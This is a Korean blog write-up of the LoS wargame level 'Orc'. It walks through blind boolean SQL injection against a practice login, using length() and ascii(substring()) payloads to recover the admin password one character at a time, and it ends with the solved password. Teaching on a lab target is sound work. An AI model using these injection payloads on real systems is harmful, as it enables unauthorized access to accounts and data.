[LoS] WriteUp 04: Orc

marceline·2024년 1월 29일
0

[LoS]

목록 보기
5/5

이어서 4번문제인 ORC 를 살펴보고자한다.

Analyze

접속 시 보이는 php 문은 다음과 같다.

query 조회문을 보면 admin 의 pw 를 알아내야할 로그인에 성공할 것 으로 보인다.

Try

Try1

pw=aa' or '1'='1

'Hello admin' 문구가 출력되지만, "ORC Clear" 는 안뜬다.
결국은 pw 를 직접 알아내야할 듯 하다.

Try2

Try1 의 결과로 무조건 참인 '1'='1 부분에 length(pw) 함수를 이용해보기로 했다.
pw 의 자릿수에 대한 정보를 얻을 수 있을 것 이다.

pw=aa' or length(pw)=[정수] and id='admin
여기서 정수는, 1부터 "Hello Admin" 이 출력되는 시점까지 1씩 증가시켜 반복한다.

pw=asdf' or length(pw)=8 and id='admin
몇번의 시도 끝에 위와 같은 구문으로 pw 의 자릿수는 총 8자리라는것을 알 수 있었다.

Try3

8자리 pw 를 알아내기 위해 substring() 함수를 사용하고자 한다.
pw=asdf' or ascii(substring(pw,1,1))<100 and id='admin
pw 의 첫번째 자리의 아스키 코드값이 100보다 작은 것이 참일 시 "Hello Admin" 을 출력할 것이라고 예상할 수 있다.

범위를 줄여가며 한자리씩 찾아보면 될 것 같다.


첫째자리: 48

pw=asdf' or ascii(substring(pw,1,1))=48 and id='admin

"Hello admin" 문구가 떳으므로 pw 의 첫번째 ASCII 코드 값은 48이다.
2~8 번째 자리도 같은 방식으로 찾아주면 다음과 같다.

둘째자리: 57

pw=asdf' or ascii(substring(pw,2,1))=57 and id='admin

셋째자리: 53

pw=asdf' or ascii(substring(pw,3,1))=53 and id='admin

넷째자리: 97

pw=asdf' or ascii(substring(pw,4,1))=97 and id='admin

다섯째자리: 57

pw=asdf' or ascii(substring(pw,5,1))=57 and id='admin

여섯째자리: 56

pw=asdf' or ascii(substring(pw,6,1))=56 and id='admin

일곱째자리: 53

pw=asdf' or ascii(substring(pw,7,1))=53 and id='admin

여덟째자리: 50

pw=asdf' or ascii(substring(pw,8,1))=50 and id='admin

Payload

8자리 pw를 조합하면,
48 57 53 97 57 56 53 50
즉, 0 9 5 a 9 8 5 2 이므로
다음과 같이 입력하면 문제가 풀린다.
pw=095a9852

Reference

권현준. 『누구나 쉽게 따라하며 배우는 웹 해킹 첫걸음』. 비제이퍼블릭, 2022.

0개의 댓글